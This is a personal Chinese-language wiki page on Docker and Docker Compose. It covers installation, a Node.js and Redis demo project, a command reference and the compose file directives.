---
url: /index.md
---
# Yumengjh's Wiki
### 👋 你好，欢迎来到 Yumengjh's Wiki

这里是我的「个人知识沉淀与成长自留地」，一份持续迭代的数字笔记与开发手册。

建立这个知识库的初衷很简单：**对抗遗忘，沉淀自我**，也希望能为偶然路过的你提供一点微小的帮助。

你可以通过顶部的搜索框快速定位内容，也可以借助 Algolia AI 用自然语言问答的方式，直接获取知识的总结与指引——就像和一个熟悉我知识库的助手对话一样便捷。

***

### 📚 关于这里的内容

* 后端开发：Nest.js 全栈实践、Node.js 项目搭建、TypeORM/GraphQL 集成

* 前端技术：Vue3/React/Svelte 开发、Tailwind/Unocss 样式、Vite 构建配置

* 容器与运维：Docker/Compose 编排、Nginx 部署、服务器配置与运维

* 数据存储：PostgreSQL/Supabase 应用、文档存储与版本控制

* 工具效率：Git/Linux 用法、VS Code 技巧、AI 提示词设计

* 编程基础：JS/TS 、模块化开发、类型体操

* 网络安全：Web 认证、动态密钥、网络分层模型

### 🔗 更多链接

* 知识库：[blog.yumgjs.com](https://blog.yumgjs.com/)

* 导航站：[yumgjs.com/site](https://yumgjs.com/site)

* 联系：<hi@yumgjs.com>

---

---
url: /docker/index.md
---
# README
**Docker** 是一个开源的 **容器化平台**，它可以将应用及其依赖打包到一个轻量、可移植的容器中，从而保证应用在任何环境下都能一致运行。

核心思想：**“一次构建，到处运行”**。

* 官网口号：*“Build, Ship, and Run Any App, Anywhere.”*
* 容器（Container）是轻量级虚拟化技术，但比传统虚拟机更高效。

**优势**

1. **轻量化**：启动快，占用资源少
2. **可移植**：打包应用及依赖，环境一致
3. **隔离性**：不同容器互不影响
4. **易扩展**：方便与 Kubernetes 等编排工具集成

**应用场景**

* 本地开发环境统一（开发者不再 “在我机子上能跑”）
* 持续集成/持续部署（CI/CD）
* 微服务架构部署
* 快速搭建测试环境

---

---
url: /docker/2brzyehy/index.md
---
## 简介

Docker Compose 是 Docker 官方的开源项目，用于快速编排和管理多个 Docker 容器，其功能类似于 OpenStack 中的 Heat。

* **定位**：定义和运行多容器 Docker 应用。
* **前身**：源于开源项目 Fig。
* **源码地址**：https://github.com/docker/compose

**解决的核心问题**
虽然单个容器可以通过 `Dockerfile` 来定义，但在实际项目中（例如一个 Web 应用），通常需要多个容器（如 Web 服务器、数据库、负载均衡器等）协同工作。Docker Compose 正是为了简化这种多容器应用的定义和管理而生。

**核心概念**

1. **服务**：代表一个应用的容器实例，基于同一个镜像可以运行多个容器实例。
2. **项目**：由一组关联的应用容器构成的完整业务单元，通过 `docker-compose.yml` 文件定义。

**工作方式与优势**
用户通过一个单一的 `docker-compose.yml` 配置文件（YAML 格式），即可定义整个应用栈的所有服务。Compose 通过 Docker API 来管理这些容器的生命周期，其默认管理对象是“项目”，提供了一套简单的子命令来统一管理项目中的所有容器。

**技术实现**
Compose 由 Python 编写，通过调用 Docker 服务提供的 API 实现对容器的管理。因此，任何支持 Docker API 的平台，都可以使用 Compose 进行编排。

### 核心总结

可以将 Docker Compose 的核心价值总结为以下几点：

1. **“一键式”多容器应用管理**：通过一个命令（如 `docker-compose up`）就能启动、停止或重建整个由多个服务组成的应用环境。
2. **声明式配置**：使用易于理解和编写的 `YAML` 文件来定义复杂的多容器架构，配置即代码，易于版本控制和共享。
3. **服务编排**：自动化处理容器间的依赖关系、网络连接和数据卷挂载，解决了手动管理多个关联容器的繁琐问题。
4. **提高开发效率**：极大简化了本地开发、测试和 CI/CD 流程中多容器环境的搭建与管理，实现了环境的一致性。

简而言之，**Docker Compose 是一个用于定义和运行多容器 Docker 应用的自动化工具，它通过一个配置文件和一套简单命令，将用户从繁琐的容器联动配置工作中解放出来。**

### 区别

| 特性         | Docker Compose       | Docker Swarm                             | Kubernetes (k8s)                   |
| ------------ | -------------------- | ---------------------------------------- | ---------------------------------- |
| **核心定位** | **单机编排**         | **内置集群**                             | **企业级容器编排**                 |
| **适用场景** | 开发、测试、单机部署 | 中小型生产集群                           | 大规模、高可用的生产环境           |
| **节点管理** | 仅限单台机器         | 多台机器组成**集群**                     | 强大的多集群、联邦集群管理         |
| **高可用**   | 无                   | **有**（服务副本、故障转移）             | **企业级高可用**（自愈、滚动更新） |
| **伸缩性**   | 手动修改配置重启     | 命令式动态伸缩（`docker service scale`） | 声明式自动伸缩（HPA）              |
| **网络**     | 自定义桥接网络       | **Overlay网络**（跨主机通信）            | 更复杂的CNI网络插件                |
| **服务发现** | 通过容器名           | 内置Swarm DNS                            | 强大的Service和Ingress机制         |
| **学习曲线** | **低**               | **中**                                   | **高**                             |

### Compose vs Swarm

**本质区别：编排维度**

* **Compose**：是一个**定义和运行**的工具。它关注的是“如何把一组容器正确地启动并连接起来”。它的核心是 `docker-compose.yml` 文件。
* **Swarm**：是一个**调度和管理**的平台。它关注的是“如何把我的服务部署到一个由多台机器组成的集群中，并保证它一直运行”。它的核心是 `docker service` 命令。

**一个绝妙的组合：Compose + Swarm**

实际上，Compose 和 Swarm 可以很好地协同工作。您可以用 `docker-compose.yml` 文件来定义 Swarm 中的**堆栈**。

```bash
# 使用 Compose 文件在 Swarm 集群中部署一个“堆栈”
docker stack deploy -c docker-compose.yml my_app_stack
```

这就像是：

* **Compose 文件是蓝图**（定义了服务的架构）。
* **Swarm 是施工队和物业管理系统**（负责在集群的各个机器上创建并维护服务状态）。

### 一个简单的场景对比

假设我们要部署一个包含 Web 应用和数据库的服务。

**使用 Docker Compose：**

* 在 `docker-compose.yml` 中定义 `web` 和 `db` 服务。
* 运行 `docker-compose up`。
* **结果**：在当前机器上启动了 1 个 `web` 容器和 1 个 `db` 容器。这台机器挂了，整个服务就挂了。

**使用 Docker Swarm：**

* 将三台机器组建成一个 Swarm 集群。
* 运行 `docker service create --name web --replicas 3 my-web-app`。
* **结果**：Swarm 调度器会在集群中的 1-3 台机器上运行 3 个 `web` 容器实例。如果一台机器宕机，上面的实例会自动在别的健康节点上重建。

**使用 Kubernetes：**

* 编写一个包含 `Deployment` 和 `Service` 的 YAML 文件。
* 使用 `kubectl apply` 部署。
* **结果**：Kubernetes 不仅能在节点故障时自愈，还能根据 CPU 负载自动扩容缩容，并提供精细的流量管理、安全策略和存储配置。

**总结**

* **Docker Compose** 是 **“单机上的多容器一键启动和串联工具”**。它完美解决了开发和测试环境中多容器应用的依赖和配置问题，简单直接。
* **Docker Swarm** 是 **“轻量级集群管理工具”**，提供了基础的生产级别高可用和伸缩能力。
* **Kubernetes** 是 **“全面的容器编排平台”**，功能最强大，但也最复杂，适用于大规模、要求苛刻的生产环境。

对于绝大多数个人项目和小型应用，**Docker Compose 已经足够强大和实用**。当您需要将服务部署到多台服务器并确保其高可用时，才需要考虑 Swarm 或 Kubernetes。

## Compose V2

| 特性维度     | Docker Compose V1 (Python)  | Docker Compose V2 (Go)                          |
| ------------ | --------------------------- | ----------------------------------------------- |
| **开发语言** | Python                      | Go                                              |
| **安装方式** | 主要通过 `pip` 安装         | 作为 Docker CLI **插件**，内置于 Docker Desktop |
| **命令形式** | `docker-compose` (带短横线) | `docker compose` (空格，无短横线)               |
| **当前状态** | **已不再受官方支持**        | **当前主流和推荐版本**                          |

### 版本更迭的缘由

Docker 官方团队做出这一重大变更，主要出于以下几方面的考量：

* **提升性能与效率**：Go 语言编译后生成的是**静态二进制文件**，部署和运行更加高效，无需像 Python 版本那样依赖解释器和一系列库文件。这在启动速度和资源消耗上带来了积极影响。
* **增强可维护性**：Docker 生态系统的其他核心组件（如 Docker Engine 和 Docker CLI）主要也是用 Go 语言编写的。将 Compose 也改用 Go，有利于**统一技术栈**，降低开发和维护的复杂度，促进不同组件间的集成。
* **改善交付与部署**：作为静态二进制文件的 Go 版本 Compose，可以更方便地打包和分发。这尤其体现在它与 **Docker Desktop** 的深度集成上，安装 Docker 时就会自动附带 Compose 插件，大大简化了用户的安装配置步骤。

### 建议

* **拥抱新版本**：对于新项目，请直接使用 **Docker Compose V2** (Go 版本)。它不仅是未来，也带来了更好的性能和体验。
* **注意命令变化**：最直观的变化就是从原来的命令 `docker-compose` 切换到了现在的 `docker compose`（去掉了中间的短横线）。如果您在脚本或文档中大量使用了旧命令，需要花些时间更新它们。
* **检查现有环境**：您可以通过在终端运行 `docker compose version` 来检查当前使用的版本。如果您的环境已经更新，这个命令会输出 Go 版本的 Docker Compose 信息。

总的来说，这次语言转向是 Docker 官方为了提升工具性能和维护性的一次战略性重构，目前的 Go 版本已经成为绝对的主流。

## 核心命令

```bash
docker compose up -d   # 启动所有服务
docker compose down    # 停止并删除容器
docker compose ps      # 查看服务状态
docker compose logs    # 查看日志
```

## 安装与卸载

### 官方二进制包（通用）

#### 下载可执行文件

**官方地址**：https://github.com/docker/compose/releases/latest

以 Linux x86\_64 为例：

```bash
sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" \
  -o /usr/local/bin/docker-compose
```

#### 授权执行权限

```bash
sudo chmod +x /usr/local/bin/docker-compose
```

#### 验证安装

```bash
docker-compose version
```

### 作为 Docker 插件（推荐）

从 Docker 20.10+ 开始，Compose v2 已集成为官方插件。

#### 一键安装（Linux）

```bash
mkdir -p ~/.docker/cli-plugins/
curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) \
  -o ~/.docker/cli-plugins/docker-compose
chmod +x ~/.docker/cli-plugins/docker-compose
```

验证：

```bash
docker compose version
```

### 使用包管理器

#### Ubuntu / Debian

```bash
sudo apt-get update
sudo apt-get install docker-compose-plugin
```

验证：

```bash
docker compose version
```

### macOS（使用 Docker Desktop）

* 直接安装 **Docker Desktop for Mac** 即可，Compose v2 已自带。

* 也可用 **Homebrew**：

  ```
  brew install docker-compose
  ```

### Windows

* 安装 **Docker Desktop for Windows** 即可。

* Compose 插件自动包含在 Docker CLI 中。

* 验证：

  ```
  docker compose version
  ```

### 卸载方法

```bash
sudo rm /usr/local/bin/docker-compose
# 或者
rm ~/.docker/cli-plugins/docker-compose
```

## 使用

### 术语

在使用 **Docker Compose** 时，有两个核心概念需要了解：

* **服务（Service）**：指一个应用容器的定义，可以包含多个运行相同镜像的实例，用于实现负载均衡或水平扩展。
* **项目（Project）**：由一组相互关联的服务（容器）组成的完整业务单元，通常对应一个应用系统或开发环境。

换句话说，一个 **项目** 由多个 **服务** 组成，而每个服务又可能包含多个容器实例。
**Docker Compose** 正是以「项目」为管理单位，对其所有服务进行统一的构建、启动、停止和维护。

### 场景

场景示例：使用 Docker Compose 构建一个简单的 Node.js + Redis Web 项目

最常见的项目类型是 **Web 网站**，通常由多个服务组成，例如：

* **Web 应用服务**：负责业务逻辑与 HTTP 响应。
* **缓存服务（Redis）**：用于存储计数或共享数据。

接下来，我们使用 **Node.js + Express + Redis** 构建一个能够统计页面访问次数的简单网站。

#### 创建项目目录

```bash
mkdir node-redis-demo
cd node-redis-demo
```

#### 编写 Web 应用（app.js）

在项目目录中新建 `app.js` 文件，内容如下：

```bash
import express from 'express';
import { createClient } from 'redis';

const app = express();

// 创建 Redis 客户端（Compose 会自动通过服务名解析）
const redis = createClient({ url: 'redis://redis:6379' });

redis.on('error', err => console.error('Redis 连接错误:', err));
await redis.connect();

app.get('/', async (req, res) => {
  const count = await redis.incr('hits');
  res.send(`Hello World! 该页面已被访问 ${count} 次。\n`);
});

app.listen(3000, () => {
  console.log('服务已启动：http://localhost:3000');
});
```

说明：

* `express` 提供 HTTP 服务；
* `redis` 用于存储访问次数；
* `host` 填写 Compose 服务名 `redis`，Compose 会自动进行服务发现。

#### 创建 package.json

在项目目录中创建 `package.json` 文件：

```json
{
  "name": "node-redis-demo",
  "version": "1.0.0",
  "type": "module",
  "scripts": {
    "start": "node app.js"
  },
  "dependencies": {
    "express": "^4.19.2",
    "redis": "^4.6.14"
  }
}
```

#### 编写 Dockerfile

在项目目录下创建 `Dockerfile` 文件：

```dockerfile
# 使用官方 Node.js 轻量镜像
FROM node:20-alpine

# 设置工作目录
WORKDIR /app

# 复制项目文件
COPY package*.json ./
RUN npm install --production

COPY . .

# 启动应用
CMD ["npm", "start"]
```

#### 创建 docker-compose.yml

在项目根目录下创建 `docker-compose.yml` 文件：

```yaml
version: '3'
services:
  web:
    build: .
    ports:
      - "3000:3000"
    depends_on:
      - redis

  redis:
    image: "redis:alpine"
```

说明：

* `web` 服务：使用当前目录的 Dockerfile 构建 Node 应用；
* `redis` 服务：直接使用官方 Redis 镜像；
* `depends_on`：保证 Redis 在 Web 服务启动前被创建。

#### 启动项目

执行以下命令：

```bash
docker-compose up
```

启动后访问浏览器：

```http
http://localhost:3000
```

每刷新一次页面，访问计数就会自动加 1。

#### 总结

| 文件                 | 作用                         |
| -------------------- | ---------------------------- |
| `app.js`             | Node.js Web 应用逻辑         |
| `package.json`       | 依赖与启动脚本定义           |
| `Dockerfile`         | 定义 Web 服务镜像构建规则    |
| `docker-compose.yml` | 定义项目的服务结构与依赖关系 |

**总结：**

* Compose 以「项目」为管理单位；
* 项目由多个「服务」组成；
* 服务之间通过服务名自动网络互联；
* 一条命令即可完成项目的构建与运行。

## 命令说明

### 命令对象与格式

在使用 **Docker Compose** 时，绝大多数命令的作用对象既可以是整个 **项目（Project）**，也可以针对其中的某个 **服务（Service）** 或具体 **容器（Container）**。

如果命令中未指定具体的服务或容器，Compose 会默认将操作作用于整个项目，即所有服务都会受到该命令的影响。

例如，`docker-compose up` 会启动项目中定义的全部服务，而不仅仅是单个容器。

要查看某个命令的详细用法，可以使用以下任一方式：

```bash
docker-compose [COMMAND] --help
```

或

```bash
docker-compose help [COMMAND]
```

这两种形式等价，都会输出该命令的语法、参数和使用示例。

Docker Compose 命令的通用格式如下：

```bash
docker-compose [-f <file>...] [options] [COMMAND] [ARGS...]
```

参数说明：

| 参数        | 说明                                                         |
| ----------- | ------------------------------------------------------------ |
| `-f <file>` | 指定要使用的 Compose 文件（默认是 `docker-compose.yml`）。可以指定多个。 |
| `[options]` | 命令级别的全局选项，如 `--project-name`、`--env-file` 等。   |
| `[COMMAND]` | 具体要执行的操作，如 `up`、`down`、`logs`、`build` 等。      |
| `[ARGS...]` | 针对某个命令的附加参数，例如指定服务名。                     |

**总结**

* Compose 命令可作用于 **项目 / 服务 / 容器** 三个层级；
* **未指定对象时默认作用于整个项目**；
* 通过 `--help` 可以查看每个命令的详细说明；
* 命令格式统一、简洁，方便组合使用。

### 命令选项

* `-f, --file FILE` 指定使用的 Compose 模板文件，默认为 `docker-compose.yml`，可以多次指定。
* `-p, --project-name NAME` 指定项目名称，默认将使用所在目录名称作为项目名。
* `--verbose` 输出更多调试信息。
* `-v, --version` 打印版本并退出。

### 命令使用说明

**Docker Compose 是一个全栈应用管理工具，它不仅能通过 `docker compose up` 一键拉起多个容器组合成完整业务，还能通过 `docker compose build` 一键构建业务所需的所有自定义镜像。它将镜像构建配置和运行时配置统一管理，实现了从开发、构建到部署的完整生命周期标准化，让多服务应用的编排变得高效而统一**。

#### build

格式为 `docker-compose build [options] [SERVICE...]`。

构建（重新构建）项目中的服务容器。

服务容器一旦构建后，将会带上一个标记名，例如对于 web 项目中的一个 db 容器，可能是 web\_db。

可以随时在项目目录下运行 `docker-compose build` 来重新构建服务。

选项包括：

* `--force-rm` 删除构建过程中的临时容器。
* `--no-cache` 构建镜像过程中不使用 cache（这将加长构建过程）。
* `--pull` 始终尝试通过 pull 来获取更新版本的镜像。

#### config

验证 Compose 文件格式是否正确，若正确则显示配置，若格式错误显示错误原因。

#### down

此命令将会停止 `up` 命令所启动的容器，并移除网络。

#### exec

进入指定的容器。

#### help

获得一个命令的帮助。

#### images

列出 Compose 文件中包含的镜像。

#### kill

格式为 `docker-compose kill [options] [SERVICE...]`。

通过发送 `SIGKILL` 信号来强制停止服务容器。

支持通过 `-s` 参数来指定发送的信号，例如通过如下指令发送 `SIGINT` 信号。

```bash
docker-compose kill -s SIGINT
```

#### logs

格式为 `docker-compose logs [options] [SERVICE...]`。

查看服务容器的输出。默认情况下，docker-compose 将对不同的服务输出使用不同的颜色来区分。可以通过 `--no-color` 来关闭颜色。

该命令在调试问题的时候十分有用。

#### pause

格式为 `docker-compose pause [SERVICE...]`。

暂停一个服务容器。

#### port

格式为 `docker-compose port [options] SERVICE PRIVATE_PORT`。

打印某个容器端口所映射的公共端口。

选项：

* `--protocol=proto` 指定端口协议，tcp（默认值）或者 udp。
* `--index=index` 如果同一服务存在多个容器，指定命令对象容器的序号（默认为 1）。

#### ps

格式为 `docker-compose ps [options] [SERVICE...]`。

列出项目中目前的所有容器。

选项：

* `-q` 只打印容器的 ID 信息。

#### pull

格式为 `docker-compose pull [options] [SERVICE...]`。

拉取服务依赖的镜像。

选项：

* `--ignore-pull-failures` 忽略拉取镜像过程中的错误。

#### push

推送服务依赖的镜像到 Docker 镜像仓库。

#### restart

格式为 `docker-compose restart [options] [SERVICE...]`。

重启项目中的服务。

选项：

* `-t, --timeout TIMEOUT` 指定重启前停止容器的超时（默认为 10 秒）。

#### rm

格式为 `docker-compose rm [options] [SERVICE...]`。

删除所有（停止状态的）服务容器。推荐先执行 `docker-compose stop` 命令来停止容器。

选项：

* `-f, --force` 强制直接删除，包括非停止状态的容器。一般尽量不要使用该选项。
* `-v` 删除容器所挂载的数据卷。

#### run

格式为 `docker-compose run [options] [-p PORT...] [-e KEY=VAL...] SERVICE [COMMAND] [ARGS...]`。

在指定服务上执行一个命令。

例如：

```bash
docker-compose run ubuntu ping docker.com
```

将会启动一个 ubuntu 服务容器，并执行 `ping docker.com` 命令。

默认情况下，如果存在关联，则所有关联的服务将会自动被启动，除非这些服务已经在运行中。

该命令类似启动容器后运行指定的命令，相关卷、链接等等都将会按照配置自动创建。

两个不同点：

* 给定命令将会覆盖原有的自动运行命令；
* 不会自动创建端口，以避免冲突。

如果不希望自动启动关联的容器，可以使用 `--no-deps` 选项，例如

```bash
docker-compose run --no-deps web python manage.py shell
```

将不会启动 web 容器所关联的其它容器。

选项：

* `-d` 后台运行容器。
* `--name NAME` 为容器指定一个名字。
* `--entrypoint CMD` 覆盖默认的容器启动指令。
* `-e KEY=VAL` 设置环境变量值，可多次使用选项来设置多个环境变量。
* `-u, --user=""` 指定运行容器的用户名或者 uid。
* `--no-deps` 不自动启动关联的服务容器。
* `--rm` 运行命令后自动删除容器，`d` 模式下将忽略。
* `-p, --publish=[]` 映射容器端口到本地主机。
* `--service-ports` 配置服务端口并映射到本地主机。
* `-T` 不分配伪 tty，意味着依赖 tty 的指令将无法运行。

#### scale

格式为 `docker-compose scale [options] [SERVICE=NUM...]`。

设置指定服务运行的容器个数。

通过 `service=num` 的参数来设置数量。例如：

```bash
docker-compose scale web=3 db=2
```

将启动 3 个容器运行 web 服务，2 个容器运行 db 服务。

一般的，当指定数目多于该服务当前实际运行容器，将新创建并启动容器；反之，将停止容器。

选项：

* `-t, --timeout TIMEOUT` 停止容器时候的超时（默认为 10 秒）。

#### start

格式为 `docker-compose start [SERVICE...]`。

启动已经存在的服务容器。

#### stop

格式为 `docker-compose stop [options] [SERVICE...]`。

停止已经处于运行状态的容器，但不删除它。通过 `docker-compose start` 可以再次启动这些容器。

选项：

* `-t, --timeout TIMEOUT` 停止容器时候的超时（默认为 10 秒）。

#### top

查看各个服务容器内运行的进程。

#### unpause

格式为 `docker-compose unpause [SERVICE...]`。

恢复处于暂停状态中的服务。

#### up

格式为 `docker-compose up [options] [SERVICE...]`。

该命令十分强大，它将尝试自动完成包括构建镜像，（重新）创建服务，启动服务，并关联服务相关容器的一系列操作。

链接的服务都将会被自动启动，除非已经处于运行状态。

可以说，大部分时候都可以直接通过该命令来启动一个项目。

默认情况，`docker-compose up` 启动的容器都在前台，控制台将会同时打印所有容器的输出信息，可以很方便进行调试。

当通过 `Ctrl-C` 停止命令时，所有容器将会停止。

如果使用 `docker-compose up -d`，将会在后台启动并运行所有的容器。一般推荐生产环境下使用该选项。

默认情况，如果服务容器已经存在，`docker-compose up` 将会尝试停止容器，然后重新创建（保持使用 `volumes-from` 挂载的卷），以保证新启动的服务匹配 `docker-compose.yml` 文件的最新内容。如果用户不希望容器被停止并重新创建，可以使用 `docker-compose up --no-recreate`。这样将只会启动处于停止状态的容器，而忽略已经运行的服务。如果用户只想重新部署某个服务，可以使用 `docker-compose up --no-deps -d <SERVICE_NAME>` 来重新创建服务并后台停止旧服务，启动新服务，并不会影响到其所依赖的服务。

选项：

* `-d` 在后台运行服务容器。
* `--no-color` 不使用颜色来区分不同的服务的控制台输出。
* `--no-deps` 不启动服务所链接的容器。
* `--force-recreate` 强制重新创建容器，不能与 `--no-recreate` 同时使用。
* `--no-recreate` 如果容器已经存在了，则不重新创建，不能与 `--force-recreate` 同时使用。
* `--no-build` 不自动构建缺失的服务镜像。
* `-t, --timeout TIMEOUT` 停止容器时候的超时（默认为 10 秒）。

#### version

格式为 `docker-compose version`。

打印版本信息。

## 模板文件

Docker Compose 的核心在于编写模板文件，其默认名称为 `docker-compose.yml`，采用 YAML 格式。尽管文件中涉及的指令关键字较多，但请不必担心，因为它们中的大部分都与 `docker run` 命令的相关参数含义相似，理解起来并不困难。

一个基本的服务定义必须通过 `image` 指令指定镜像，或使用 `build` 指令（需配合 Dockerfile）来自动构建镜像。

```yaml
version: "3"
services:
  webapp:
    image: examples/web
    ports:
      - "80:80"
    volumes:
      - "/data"
```

**一个重要提示是**：如果使用 `build` 指令，那么在 Dockerfile 中已设置的选项（如 `CMD`、`EXPOSE`、`VOLUME`、`ENV` 等）会被自动继承，无需在 `docker-compose.yml` 中再次声明。

### build

指定 `Dockerfile` 所在文件夹的路径（可以是绝对路径，或者相对 docker-compose.yml 文件的路径）。 `Compose` 将会利用它自动构建这个镜像，然后使用这个镜像。

```yaml
version: '3'
services:

  webapp:
    build: ./dir
```

你也可以使用 `context` 指令指定 `Dockerfile` 所在文件夹的路径。

使用 `dockerfile` 指令指定 `Dockerfile` 文件名。

使用 `arg` 指令指定构建镜像时的变量。

```yaml
version: '3'
services:

  webapp:
    build:
      context: ./dir
      dockerfile: Dockerfile-alternate
      args:
        buildno: 1
```

使用 `cache_from` 指定构建镜像的缓存

```yaml
build:
  context: .
  cache_from:
    - alpine:latest
    - corp/web_app:3.14
```

### cap\_add, cap\_drop

指定容器的内核能力（capacity）分配。

例如，让容器拥有所有能力可以指定为：

```yaml
cap_add:
  - ALL
```

去掉 NET\_ADMIN 能力可以指定为：

```yaml
cap_drop:
  - NET_ADMIN
```

### command

覆盖容器启动后默认执行的命令。

```yaml
command: echo "hello world"
```

### configs

仅用于 `Swarm mode`

### cgroup\_parent

指定父 `cgroup` 组，意味着将继承该组的资源限制。

例如，创建了一个 cgroup 组名称为 `cgroups_1`。

```yaml
cgroup_parent: cgroups_1
```

### container\_name

指定容器名称。默认将会使用 `项目名称_服务名称_序号` 这样的格式。

```yaml
container_name: docker-web-container
```

**注意**: 指定容器名称后，该服务将无法进行扩展（scale），因为 Docker 不允许多个容器具有相同的名称。

### deploy

仅用于 `Swarm mode`

### devices

指定设备映射关系。

```yaml
devices:
  - "/dev/ttyUSB1:/dev/ttyUSB0"
```

### depends\_on

解决容器的依赖、启动先后的问题。以下例子中会先启动 `redis` `db` 再启动 `web`

```yaml
version: '3'

services:
  web:
    build: .
    depends_on:
      - db
      - redis

  redis:
    image: redis

  db:
    image: postgres
```

**注意**：`web` 服务不会等待 `redis` `db` 「完全启动」之后才启动。

### dns

自定义 `DNS` 服务器。可以是一个值，也可以是一个列表。

```yaml
dns: 8.8.8.8

dns:
  - 8.8.8.8
  - 114.114.114.114
```

### dns\_search

配置 `DNS` 搜索域。可以是一个值，也可以是一个列表。

```yaml
dns_search: example.com

dns_search:
  - domain1.example.com
  - domain2.example.com
```

### tmpfs

挂载一个 tmpfs 文件系统到容器。

```yaml
tmpfs: /run
tmpfs:
  - /run
  - /tmp
```

### env\_file

从文件中获取环境变量，可以为单独的文件路径或列表。

如果通过 `docker-compose -f FILE` 方式来指定 Compose 模板文件，则 `env_file` 中变量的路径会基于模板文件路径。

如果有变量名称与 `environment` 指令冲突，则按照惯例，以后者为准。

```yaml
env_file: .env

env_file:
  - ./common.env
  - ./apps/web.env
  - /opt/secrets.env
```

环境变量文件中每一行必须符合格式，支持 `#` 开头的注释行。

```yaml
# common.env: Set development environment
PROG_ENV=development
```

### environment

设置环境变量。你可以使用数组或字典两种格式。

只给定名称的变量会自动获取运行 Compose 主机上对应变量的值，可以用来防止泄露不必要的数据。

如果变量名称或者值中用到 `true|false，yes|no` 等表达 [布尔](https://yaml.org/type/bool.html)含义的词汇，最好放到引号里，避免 YAML 自动解析某些内容为对应的布尔语义。这些特定词汇，包括

```bash
y|Y|yes|Yes|YES|n|N|no|No|NO|true|True|TRUE|false|False|FALSE|on|On|ON|off|Off|OFF
```

### expose

暴露端口，但不映射到宿主机，只被连接的服务访问。

仅可以指定内部端口为参数

```yaml
expose:
 - "3000"
 - "8000"
```

### external\_links

**注意**：不建议使用该指令。

链接到 `docker-compose.yml` 外部的容器，甚至并非 `Compose` 管理的外部容器。

```yaml
external_links:
 - redis_1
 - project_db_1:mysql
 - project_db_1:postgresql
```

### extra\_hosts

类似 Docker 中的 `--add-host` 参数，指定额外的 host 名称映射信息。

```yaml
extra_hosts:
 - "googledns:8.8.8.8"
 - "dockerhub:52.1.157.61"
```

会在启动后的服务容器中 `/etc/hosts` 文件中添加如下两条条目。

```bash
8.8.8.8 googledns
52.1.157.61 dockerhub
```

### healthcheck

通过命令检查容器是否健康运行。

```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost"]
  interval: 1m30s
  timeout: 10s
  retries: 3
```

### image

指定为镜像名称或镜像 ID。如果镜像在本地不存在，`Compose` 将会尝试拉取这个镜像。

```yaml
image: ubuntu
image: orchardup/postgresql
image: a4bc65fd
```

### labels

为容器添加 Docker 元数据（metadata）信息。例如可以为容器添加辅助说明信息。

```yaml
labels:
  com.startupteam.description: "webapp for a startup team"
  com.startupteam.department: "devops department"
  com.startupteam.release: "rc3 for v1.0"
```

### links

**注意**：不推荐使用该指令。

### logging

配置日志选项。

```yaml
logging:
  driver: syslog
  options:
    syslog-address: "tcp://192.168.0.42:123"
```

目前支持三种日志驱动类型。

```yaml
driver: "json-file"
driver: "syslog"
driver: "none"
```

`options` 配置日志驱动的相关参数。

```yaml
options:
  max-size: "200k"
  max-file: "10"
```

### network\_mode

设置网络模式。使用和 `docker run` 的 `--network` 参数一样的值。

```yaml
network_mode: "bridge"
network_mode: "host"
network_mode: "none"
network_mode: "service:[service name]"
network_mode: "container:[container name/id]"
```

### networks

配置容器连接的网络。

```yaml
version: "3"
services:

  some-service:
    networks:
     - some-network
     - other-network

networks:
  some-network:
  other-network:
```

### pid

跟主机系统共享进程命名空间。打开该选项的容器之间，以及容器和宿主机系统之间可以通过进程 ID 来相互访问和操作。

```yaml
pid: "host"
```

### ports

暴露端口信息。

使用宿主端口：容器端口 `(HOST:CONTAINER)` 格式，或者仅仅指定容器的端口（宿主将会随机选择端口）都可以。

```yaml
ports:
 - "3000"
 - "8000:8000"
 - "49100:22"
 - "127.0.0.1:8001:8001"
```

**注意**：当使用 `HOST:CONTAINER` 格式来映射端口时，如果你使用的容器端口小于 60 并且没放到引号里，可能会得到错误结果，因为 `YAML` 会自动解析 `xx:yy` 这种数字格式为 60 进制。为避免出现这种问题，**建议数字串都采用引号包括起来的字符串格式**。

### secrets

存储敏感数据，例如 `mysql` 服务密码。

```yaml
version: "3.1"
services:

mysql:
  image: mysql
  environment:
    MYSQL_ROOT_PASSWORD_FILE: /run/secrets/db_root_password
  secrets:
    - db_root_password
    - my_other_secret

secrets:
  my_secret:
    file: ./my_secret.txt
  my_other_secret:
    external: true
```

### security\_opt

指定容器模板标签（label）机制的默认属性（用户、角色、类型、级别等）。例如配置标签的用户名和角色名。

```yaml
security_opt:
    - label:user:USER
    - label:role:ROLE
```

### stop\_signal

设置另一个信号来停止容器。在默认情况下使用的是 SIGTERM 停止容器。

```yaml
stop_signal: SIGUSR1
```

### sysctls

配置容器内核参数。

```yaml
sysctls:
  net.core.somaxconn: 1024
  net.ipv4.tcp_syncookies: 0

sysctls:
  - net.core.somaxconn=1024
  - net.ipv4.tcp_syncookies=0
```

### ulimits

指定容器的 ulimits 限制值。

例如，指定最大进程数为 65535，指定文件句柄数为 20000（软限制，应用可以随时修改，不能超过硬限制） 和 40000（系统硬限制，只能 root 用户提高）。

```yaml
  ulimits:
    nproc: 65535
    nofile:
      soft: 20000
      hard: 40000
```

### volumes

数据卷所挂载路径设置。可以设置为宿主机路径(`HOST:CONTAINER`)或者数据卷名称(`VOLUME:CONTAINER`)，并且可以设置访问模式 （`HOST:CONTAINER:ro`）。

该指令中路径支持相对路径。

```yaml
volumes:
 - /var/lib/mysql
 - cache/:/tmp/cache
 - ~/configs:/etc/configs/:ro
```

如果路径为数据卷名称，必须在文件中配置数据卷。

```yaml
version: "3"

services:
  my_src:
    image: mysql:8.0
    volumes:
      - mysql_data:/var/lib/mysql

volumes:
  mysql_data:  
```

### 其它指令

此外，还有包括 `domainname, entrypoint, hostname, ipc, mac_address, privileged, read_only, shm_size, restart, stdin_open, tty, user, working_dir` 等指令，基本跟 `docker run` 中对应参数的功能一致。

指定服务容器启动后执行的入口文件。

```yaml
entrypoint: /code/entrypoint.sh
```

指定容器中运行应用的用户名。

```yaml
user: nginx
```

指定容器中工作目录。

```yaml
working_dir: /code
```

指定容器中搜索域名、主机名、mac 地址等。

```yaml
domainname: your_website.com
hostname: test
mac_address: 08-00-27-00-0C-0A
```

允许容器中运行一些特权命令。

```yaml
privileged: true
```

指定容器退出后的重启策略为始终重启。该命令对保持服务始终运行十分有效，在生产环境中推荐配置为 `always` 或者 `unless-stopped`。

```yaml
restart: always
```

